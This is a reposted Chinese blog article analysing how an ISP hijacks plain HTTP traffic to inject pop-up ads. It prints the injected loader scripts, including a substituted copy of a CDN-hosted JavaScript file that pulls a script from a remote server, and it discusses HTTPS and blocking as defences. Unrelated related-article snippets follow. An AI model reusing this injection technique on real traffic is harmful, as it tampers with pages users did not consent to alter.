中国电信劫持HTTP流量强插广告

2024-03-10 11:59

本文主要是介绍中国电信劫持HTTP流量强插广告,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

现象

家里装的宽带是浙江电信的,在平时用浏览器访问网页时,网页右下角经常弹出浮动广告。常见的广告是这个样子的,很违和吧?

该广告有几个特点:

  • 不管是中国还是外国网站,都有可能弹广告。
  • 有些知名网站似乎没有弹过广告,比如新浪微博、Stack Overflow。
  • 对某一个网站,只在每天第一次访问时弹广告,显示过一次之后,再刷新网页就不会出现了。第二天访问时还可能弹广告。
  • 所有的HTTPS站都没有广告。

原理分析

广告是谁加的

一开始看过几次广告之后,以为是被访问网站自己加的广告联盟之类的代码,第一反应当然是用浏览器的去广告插件屏蔽。通过Chrome查看DOM,发现广告的嵌入代码如下,

<script src="http://116.252.178.232:9991/ad.0.js?v=3.9411&sp=9999&ty=dpc&sda_man=XFpdU1RJWFdZXlE=" type="text/javascript" id="bdstat"></script>

一般是出现在 </body> 之前,即HTML body的最后。服务器地址116.252.178.232属于广西电信。

当在几个国外网站上弹出了同样的中文广告后,我确定这不是网站自己加的广告代码。Google一下这个IP地址,普遍反映这是ISP劫持HTTP流量,插入的广告。

这种行为更准确的名称叫“ 网络直投广告 ”,百度百科是这样介绍的。

网络直投广告是基于中国电信宽带接入网,通过对用户上网行为的分析,在用户上网时、或正在上网的过程中,系统主动、定向、策略性、个性化的向用户推送广告宣传信息。并可以根据用户当前浏览的网站类型,匹配对应的行业关键字,根据行业关键字向用户推送动画、声音、视频、游戏等多媒体交互式广告内容。关键字分类:电脑、通讯、汽车、财经、医药、房产、旅游、教育、人才、美容、电影、游戏、数码等。

所以,这段代码是ISP强行插入的网络直投广告。由于用户访问所有网络都要经过ISP,ISP就有机会给任意网站加广告,把整个网络作为工具为自己牟利。搜索发现不光是电信,联通也有类似行径。某年315还曝光过,之后各地ISP有所收敛,但现在我家浙江电信还是每天都会弹。

如何加的广告

用浏览器访问刚才的广告嵌入代码, http://116.252.178.237:9991/ad.0.js 内容经过格式化后如下,

var bcdata_sp = "";
var sda_man = "";
var bcdata_src = "0";
(function () {var a = function (h, f) {try {var d = document.createElement("span");d.innerHTML = h;api.writeO(d, f)} catch (g) {document.write(h)}};var c = function (d, f) {if (f) {f.appendChild(d);f.parentNode.appendChild(d)} else {var g = f || document.all || document.getElementsByTagName("*");var f = g[g.length - 1]}f.parentNode.appendChild(d)};var b = document.createElement("script");b.type = "text/javascript";b.src = "http://116.252.178.237:9991/main.js?ver=v48";c(b)
})();

这段引导代码在DOM上添加另一个script节点,内容为 http://116.252.178.237:9991/main.jsmain.js 是弹出广告真正的创建者。

那么 ad.0.js 是何时插入的呢?在不同的网站上, ad.0.js 节点出现的位置不固定,不一定总在 </body> 之前。继续用Chrome的Network工具查看每个请求的返回数据,发现网页HTML是正常的,并不包含 ad.0.js 节点。推测是某个JS被篡改了,执行的时候在DOM上又插入了广告引导代码节点。

逐个检查 .js 文件的请求,寻找包含“116.252.178.232”的文件。以某网站为例,发现 flowplayer.min.js 文件的内容不正常。该文件是网页上的视频播放器,托管在七牛CDN上。文件的URL是 http://***.qiniudn.com/static/player/flowplayer.min.js ,Chrome里显示返回的内容是这样的,

(function () {o = "http://***.qiniudn.com/static/player/flowplayer.min.js?";sh = "http://116.252.178.232:9991/ad.0.js?v=3.9411&sp=9999&ty=dpc&sda_man=XFpdU1RJWFdZXlE=";w = window;d = document;function ins(s, dm, id) {e = d.createElement("script");e.src = s;e.type = "text/javascript";id ? e.id = id : null;dm.appendChild(e);};p = d.scripts[d.scripts.length - 1].parentNode;ins(o, p);ds = function () {db = d.body;if (db && !document.getElementById("bdstat")) {if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {if (w.top == w.self) {ins(sh, db, "bdstat");}}} else {setTimeout("ds()", 1500);}};ds();
})();

可以看到该文件的返回数据完全是被替换过的。这段代码首先在DOM上插入了另外一个 <script> 节点,用于重新加载真正的 flowplayer.min.js 文件。然后创建了广告引导代码节点。在Chrome中,看到 flowplayer.min.js 文件有两次请求,第二次返回的是正确的内容。

新插入的 <script> 位置在document最后一个script的父节点,由于改变了JS文件的执行顺序,所以理论上有可能影响被篡改的网页的正常功能。

关于这套广告系统具体如何选择篡改哪个JS请求,我没有进一步的调查。

其他劫持类型

我这里分析的只是浙江电信在目前阶段采用的插广告方法。网上能看到ISP采用的一些旧方法,包括DNS劫持、iframe劫持。

DNS劫持是,例如用户访问Google时,跳转到一个全是广告的页面。还有当访问一个无法解析的网址时,跳转到电信的网址导航站189so.cn,导航站当然是很赚钱的。

iframe劫持也是劫持HTTP流量,将被访问的网页整个包在一个iframe中加载,外面的伪造的页面插弹出广告。用户看到的效果跟本文开头的截图类似。

屏蔽方法

用户

作为普通用户,一般的建议是打电话给ISP投诉,把客服骂一顿,让ISP取消对你家账号的“特殊服务”。我没试过,也不想试,我得留着广告好看看ISP又采取了什么卑劣手段。

作为普通用户,还可以找个认识的程序员来帮助解决此事。

作为程序员,屏蔽这种广告不是难事。首先用浏览器开发者工具在找出广告引导代码的URL,如果是IP地址,就用路由器或防火墙软件封住该IP的访问;如果是域名,就修改hosts把该域名解析到127.0.0.1即可。

注意这样仅靠屏蔽IP/域名并不是真正的屏蔽,仍然有副作用。比如说网页会由于加载不到广告JS而一直处于转菊花状态,经过篡改的网页有可能功能不正常。前人给出了一些复杂的方法屏蔽广告,基本上都要自己搭代理服务器。我觉得太过复杂,不值得。在此列出几个参考方法:

  • Tomato解决电信广告劫持
  • 如何对抗 ISP HTTP hijacking (阻止推送广告)
  • 防治运营商HTTP劫持的终极技术手段

网站所有者

作为网站所有者,有没有办法彻底去除ISP强插到你网站上的广告呢?这样不管你的用户有没有屏蔽广告的能力,在访问网站时都不会看到恼人的广告。

第一个可行的办法是HTTPS化,HTTPS请求无法简单的伪造。目前由于网络安全的形势不好,很多网站都做了全站HTTPS化。虽然有一些开销,这毕竟是个最有效的办法。

目前ISP的做法是只劫持JS文件,那一个简便的方法是JS全部放到七牛CDN上,利用 七牛提供的HTTPS服务 ,只把网页上的JS地址换成HTTPS的,ISP就无法伪造了。(经过在某网站上的试验,该方法目前有效。)

另一个可能的方法是在页面上增加JS代码,检测ISP插入的节点并删掉。这种方法的困难在于ISP插广告是分地区的,而且将来会升级的。作为网站所有者,只能针对已知的情况做针对处理,不一定总能有效。

 

http://www.tuicool.com/articles/Nje6fa7

这篇关于中国电信劫持HTTP流量强插广告的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/794177

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

poj 2135 有流量限制的最小费用最大流

题意: 农场里有n块地,其中约翰的家在1号地,二n号地有个很大的仓库。 农场有M条道路(双向),道路i连接着ai号地和bi号地,长度为ci。 约翰希望按照从家里出发,经过若干块地后到达仓库,然后再返回家中的顺序带朋友参观。 如果要求往返不能经过同一条路两次,求参观路线总长度的最小值。 解析: 如果只考虑去或者回的情况,问题只不过是无向图中两点之间的最短路问题。 但是现在要去要回

poj 3422 有流量限制的最小费用流 反用求最大 + 拆点

题意: 给一个n*n(50 * 50) 的数字迷宫,从左上点开始走,走到右下点。 每次只能往右移一格,或者往下移一格。 每个格子,第一次到达时可以获得格子对应的数字作为奖励,再次到达则没有奖励。 问走k次这个迷宫,最大能获得多少奖励。 解析: 拆点,拿样例来说明: 3 2 1 2 3 0 2 1 1 4 2 3*3的数字迷宫,走两次最大能获得多少奖励。 将每个点拆成两个

poj 2195 bfs+有流量限制的最小费用流

题意: 给一张n * m(100 * 100)的图,图中” . " 代表空地, “ M ” 代表人, “ H ” 代表家。 现在,要你安排每个人从他所在的地方移动到家里,每移动一格的消耗是1,求最小的消耗。 人可以移动到家的那一格但是不进去。 解析: 先用bfs搞出每个M与每个H的距离。 然后就是网络流的建图过程了,先抽象出源点s和汇点t。 令源点与每个人相连,容量为1,费用为

poj 3068 有流量限制的最小费用网络流

题意: m条有向边连接了n个仓库,每条边都有一定费用。 将两种危险品从0运到n-1,除了起点和终点外,危险品不能放在一起,也不能走相同的路径。 求最小的费用是多少。 解析: 抽象出一个源点s一个汇点t,源点与0相连,费用为0,容量为2。 汇点与n - 1相连,费用为0,容量为2。 每条边之间也相连,费用为每条边的费用,容量为1。 建图完毕之后,求一条流量为2的最小费用流就行了

【Linux】应用层http协议

一、HTTP协议 1.1 简要介绍一下HTTP        我们在网络的应用层中可以自己定义协议,但是,已经有大佬定义了一些现成的,非常好用的应用层协议,供我们直接使用,HTTP(超文本传输协议)就是其中之一。        在互联网世界中,HTTP(超文本传输协议)是一个至关重要的协议,他定义了客户端(如浏览器)与服务器之间如何进行通信,以交换或者传输超文本(比如HTML文档)。

如何确定 Go 语言中 HTTP 连接池的最佳参数?

确定 Go 语言中 HTTP 连接池的最佳参数可以通过以下几种方式: 一、分析应用场景和需求 并发请求量: 确定应用程序在特定时间段内可能同时发起的 HTTP 请求数量。如果并发请求量很高,需要设置较大的连接池参数以满足需求。例如,对于一个高并发的 Web 服务,可能同时有数百个请求在处理,此时需要较大的连接池大小。可以通过压力测试工具模拟高并发场景,观察系统在不同并发请求下的性能表现,从而

Anaconda 中遇到CondaHTTPError: HTTP 404 NOT FOUND for url的问题及解决办法

最近在跑一个开源项目遇到了以下问题,查了很多资料都大(抄)同(来)小(抄)异(去)的,解决不了根本问题,费了很大的劲终于得以解决,记录如下: 1、问题及过程: (myenv) D:\Workspace\python\XXXXX>conda install python=3.6.13 Solving environment: done.....Proceed ([y]/n)? yDownloa

Sentinel 高可用流量管理框架

Sentinel 是面向分布式服务架构的高可用流量防护组件,主要以流量为切入点,从限流、流量整形、熔断降级、系统负载保护、热点防护等多个维度来帮助开发者保障微服务的稳定性。 Sentinel 具有以下特性: 丰富的应用场景:Sentinel 承接了阿里巴巴近 10 年的双十一大促流量的核心场景,例如秒杀(即突发流量控制在系统容量可以承受的范围)、消息削峰填谷、集群流量控制、实时熔断下游不可用应

构建高性能WEB之HTTP首部优化

0x00 前言 在讨论浏览器优化之前,首先我们先分析下从客户端发起一个HTTP请求到用户接收到响应之间,都发生了什么?知己知彼,才能百战不殆。这也是作为一个WEB开发者,为什么一定要深入学习TCP/IP等网络知识。 0x01 到底发生什么了? 当用户发起一个HTTP请求时,首先客户端将与服务端之间建立TCP连接,成功建立连接后,服务端将对请求进行处理,并对客户端做出响应,响应内容一般包括响应